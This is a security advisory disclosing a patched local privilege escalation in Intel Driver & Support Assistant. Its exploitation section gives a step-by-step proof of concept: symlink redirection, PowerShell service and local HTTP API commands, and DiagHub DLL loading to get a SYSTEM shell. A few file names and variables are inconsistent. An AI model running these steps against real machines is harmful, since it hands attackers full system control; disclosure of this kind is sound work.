Intel Driver & Support Assistant (DSA) LPE
CVE-2018-12148, CVE- 2018-12168
Description
Intel Driver & Support Assistant (DSA) is a Freeware application by Intel that checks for updates for Intel drivers and tools.
It contained a Local Privilege Escalation vulnerability that would allow a local attacker or malware to escalate their privileges from user to system. This vulnerability was patched in version 3.5.0.1
The same root cause was also identified in 'Intel Computing Improvement Program' for versions before 2.2.0.03942.
Impact
An attacker or malicious process could exploit this vulnerability locally to escalate their privileges to NT/SYSTEM.
The CVSS V3 Vector assigned to this vulnerability is AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H and a score of 7.8.
Cause
While the 'Intel(R) SUR QC SA' service is running it may create the file %ProgramData%\Intel\SharedData\SDID. This file is created by the NT/SYSTEM user and is created with the permissions granting all users full control of the file.
A local attacker as any authenticated user can remove the SSID file and create a symlink allowing for arbitrary file creation (with any name) with System permissions while still allowing any user to modify the file once created.
Solution
This vulnerability was patched in Intel(R) Driver and Support Assistant before 3.5.0.1 and Intel(R) Computing Improvement Program before version 2.2.0.03942.
The solution in both cases prevents non administrators from writing to the file.
Exploitation
An arbitrary file creation and write primitive makes it trivial to gain code execution as system. One approach might be to replace the content of the file created by the Intel application with a malicious DLL and getting a system service/process to load that DLL.
The simplest way to load a DLL as system is to utilise a feature of the 'Microsoft (R) Diagnostics Hub Standard Collector Service' to load a malicious DLL from the system32 directory.
Step 1: Remove the File
Before we can create a symlink we need to remove the SSID file and anything else in the same folder.
rm "C:\ProgramData\Intel\SharedData\*"
Step 2: Create Symlink
Next we need to create a symlink.
To do this without administrator rights we first need to create a Mount Point such that 'C:\ProgramData\Intel\SharedData\' points to the "\RPC Control\" object directory. We then create a Symlink such that "\RPC Control\SSID" points to "\\?\C:\Windows\System32\evilDll.dlll"
To do this we can use James Forshaw's symboliclink-testing-tools (https://github.com/google/symboliclink-testing-tools)
CreateSymlink.exe C:\ProgramData\Intel\SharedData\SDID C:\Windows\System32\evilDll.dll
Step 3: Start Service
The service that creates the file is not always running and thus we will need to start it. Thankfully this service can be started by any authenticated user:
Start-Service -Name "Intel(R) SUR QC SAM"
Step 4: Trigger file creation
The service does not automatically create the file, so we need to trigger the file creation. From reverse engineering the service we found the code that is responsible for the creation of the file and that it can be triggered using a couple of HTTP requests to a locally listening server.
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
$headers.Add("Origin", "http://localhost")
$params1 = "0`r`n"
$params2 = '{"assetId": "ef1526ef-396a-4eb3-9869-79ec77c3715b","type": "WindowsApplication","name": "Intel(R) Computing Improvement Program", "custom_data": {"SURVersion": "2.1.03638"}}'
$port = Get-Content -Path "C:\ProgramData\Intel\SUR\QUEENCREEK\Updater\AppData\web_server_port.txt"
$uri1 = "http://127.0.0.1:$port/api/v2/api_lock"
$uri2 = "http://127.0.0.1:$port/api/v2/updates"
Invoke-WebRequest -Uri $uri1 -Method PUT -Body $params -ContentType "application/json" -Headers $headers
Invoke-WebRequest -Uri $uri2 -Method POST -Body $params2 -ContentType "application/json" -Headers $headers
Step 5: Stop Service
Once the file has been created we need to stop service so it closes the file.
Stop-Service -Name "Intel(R) SUR QC SAM"
Step 6: Replace file with evil DLL content
The contents of the DLL can now be modified to contain malicious code that will be executed as System when it is loaded.
In this PoC we built a simple DLL that will spawn cmd.exe when loaded.
Step 7: Load DLL
For this PoC we decided to load the DLL using a nifty trick by getting the Windows Service ''Microsoft (R) Diagnostics Hub Standard Collector Service" (DiagHub) to load it for us. The details of this technique can be found in a blog post by James Forshaw (https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html).
Here we modified James' code to launch our evilDLL which results in a System shell being spawned.
